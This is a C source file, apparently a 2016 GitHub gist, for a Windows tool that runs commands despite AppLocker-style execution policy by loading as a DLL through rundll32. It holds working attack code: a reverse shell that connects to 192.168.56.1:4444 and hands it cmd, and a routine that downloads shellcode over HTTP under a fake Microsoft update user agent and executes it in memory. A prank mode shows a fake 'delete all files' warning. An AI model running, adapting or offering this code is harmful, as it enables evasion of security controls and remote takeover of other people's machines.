RunMe.c
April 27, 2016 ยท View on GitHub
/**
- Trick to run arbitrary command when code execution policy is enforced
- (i.e. AppLocker or equivalent). Works on Win98 (lol) and up - tested on 7/8
- To compile using CL as DLL:
- C:> cl.exe RunMe.c /LD /OUT:RunMe.dll
- To compile as PE (USE_DLL must be commented out):
- C:> cl.exe RunMe.c /OUT:RunMe.exe
- To execute under Windows:
- C:> rundll32 .\RunMe.dll,RunCommand calc
- or
- C:> rundll32 .\RunMe.dll,RunCommand cmd.exe /k whoami
- If cmd.exe is blocked, this can be invoked via Shortcut creation mechanism
- ... AND it works over an SMB share (stealthy++ :D)
- @hugsy
*/
#include <winsock2.h> #include <windows.h> #include <shellapi.h> #include <tchar.h> #include <stdio.h> #include <string.h> #include <malloc.h>
#pragma comment(lib, "Ws2_32.lib") #pragma comment(lib, "User32.lib") #pragma comment(lib, "Advapi32.lib")
/**
- To compile as EXE, uncomment this or
- compile with the argument /DUSE_DLL */ //#define USE_DLL TRUE
#define HOST "192.168.56.1" #define PORT 4444 #define DEFAULT_COMMAND "cmd"
#define TECHNIQUE 3
#if TECHNIQUE==1 #pragma comment(lib, "Shell32.lib")
static void ExecuteSimpleCommand(char* cmd, char* args) { SHELLEXECUTEINFO shExecInfo = {0, }; shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); shExecInfo.fMask = 0; shExecInfo.hwnd = NULL; shExecInfo.lpVerb = "open"; shExecInfo.lpFile = _T(cmd); shExecInfo.lpParameters = _T(args); shExecInfo.lpDirectory = NULL; shExecInfo.nShow = SW_NORMAL; shExecInfo.hInstApp = NULL; ShellExecuteEx(&shExecInfo); return; } #endif
#if TECHNIQUE==2 static void ReverseCommand(char* cmd, char* args) { WSADATA wsaData = {0}; SOCKET sock; int iResult; PROCESS_INFORMATION pi; STARTUPINFO si; SOCKADDR_IN socket_info;
ZeroMemory (&si, sizeof(si));
ZeroMemory (&pi, sizeof(pi));
ZeroMemory (&socket_info, sizeof(socket_info));
/* Setup the socket */
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0)
return;
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
return;
socket_info.sin_family = AF_INET;
socket_info.sin_addr.s_addr = inet_addr(HOST);
socket_info.sin_port = htons(PORT);
iResult = WSAConnect(sock, (SOCKADDR *)&socket_info, sizeof(socket_info), NULL, NULL, NULL, NULL);
if (iResult == SOCKET_ERROR)
goto cleanup;
/* Create the command process and redirect stdin/stdout/stderr to the socket */
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = (HANDLE)sock;
si.hStdOutput = (HANDLE)sock;
si.hStdError = (HANDLE)sock;
iResult = CreateProcess (NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
if (!iResult)
goto cleanup;
WaitForSingleObject (pi.hProcess, INFINITE);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
cleanup: WSACleanup(); return; } #endif
#if TECHNIQUE==3
#include <Winhttp.h> #pragma comment(lib, "Winhttp.lib")
#define USE_HTTPS FALSE #define HTTP_HOST L"192.168.56.1" #define HTTP_METH L"GET" #define HTTP_PATH L"/update-list-signed.gpg"
/**
-
Download and execute a payload via HTTP(s) / static void ExecuteHttpPayloadCommand(char cmd, char* args) { BOOL bRes, bOk; HINTERNET hSess=NULL, hConn=NULL, hReq=NULL; LPCWSTR pswzHost = HTTP_HOST; INTERNET_PORT iPort = USE_HTTPS ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT; LPVOID lpRes; DWORD dwResSize, dwDwld, dwOld, i; WINHTTP_PROXY_INFO proxyInfo;
bOk = FALSE; bRes = WinHttpGetDefaultProxyConfiguration( &proxyInfo ); if(!bRes) return; hSess = WinHttpOpen(L"Microsoft Win32 Pool Update check", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, proxyInfo.lpszProxy?proxyInfo.lpszProxy:WINHTTP_NO_PROXY_NAME, proxyInfo.lpszProxyBypass?proxyInfo.lpszProxyBypass:WINHTTP_NO_PROXY_BYPASS, 0); if (!hSess) return; hConn = WinHttpConnect(hSess, pswzHost, iPort, 0); if(!hConn) goto end_handle; hReq = WinHttpOpenRequest(hConn, HTTP_METH, HTTP_PATH, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); if(!hReq) goto end_http; bRes = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); if(!bRes) goto end_req; bRes = WinHttpReceiveResponse(hReq, NULL); if(!bRes) goto end_req; WinHttpQueryDataAvailable(hReq, &dwResSize); lpRes = VirtualAlloc(NULL, dwResSize+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); ZeroMemory(lpRes, dwResSize+1); WinHttpReadData(hReq, lpRes, dwResSize, &dwDwld); FlushInstructionCache(GetCurrentProcess(), lpRes, dwResSize+1); VirtualProtect(lpRes, dwResSize+1, PAGE_EXECUTE_READWRITE, &dwOld); // add some delay for(i=0; i<1<<31;i++); bOk = TRUE;
end_req: WinHttpCloseHandle(hReq);
end_http: WinHttpCloseHandle(hConn);
end_handle: WinHttpCloseHandle(hSess);
if (bOk){
__asm {
mov eax, lpRes;
call lpRes;
}
}
return;
} #endif
#if TECHNIQUE==0 static void Lulz(char* cmd, char* args) { LPCTSTR text, title; LPTSTR user; DWORD userbufsz = 64;
title = "Ultimate disk cleaner.";
text = (LPTSTR)alloca(512);
user = (LPTSTR)alloca(userbufsz);
LPWSTR pFmt = "Hello %1 !\n"
"This program will now delete all files on your disk.\n\n"
"Thank you for running this program and have a nice day.\n" ;
if (!GetUserName(user, &userbufsz))
return;
if (!FormatMessage(FORMAT_MESSAGE_FROM_STRING | FORMAT_MESSAGE_ARGUMENT_ARRAY,
pFmt,
0,
0,
text,
512,
(va_list*)&user)){
return;
}
MessageBox(NULL, cmd, title, MB_OK);
MessageBox(NULL, text, title, MB_OK);
return;
} #endif
#ifdef USE_DLL void __declspec(dllexport) RunCommand(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) #else int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) #endif
{ char *cmd, *args; int i;
if (!lpszCmdLine || strlen(lpszCmdLine)==0){
cmd = _strdup(DEFAULT_COMMAND);
args = NULL;
} else {
cmd = _strdup(lpszCmdLine);
args = strchr(lpszCmdLine, ' ');
if (args){
i = (args - lpszCmdLine);
cmd[i] = '\x00';
}
}
#if TECHNIQUE == 1 ExecuteSimpleCommand(cmd, args); #elif TECHNIQUE == 2 ReverseCommand(cmd, args); #elif TECHNIQUE == 3 ExecuteHttpPayloadCommand(cmd, args); #else Lulz(cmd, args); #endif
free(cmd);
#ifdef USE_DLL return; #else return 0; #endif }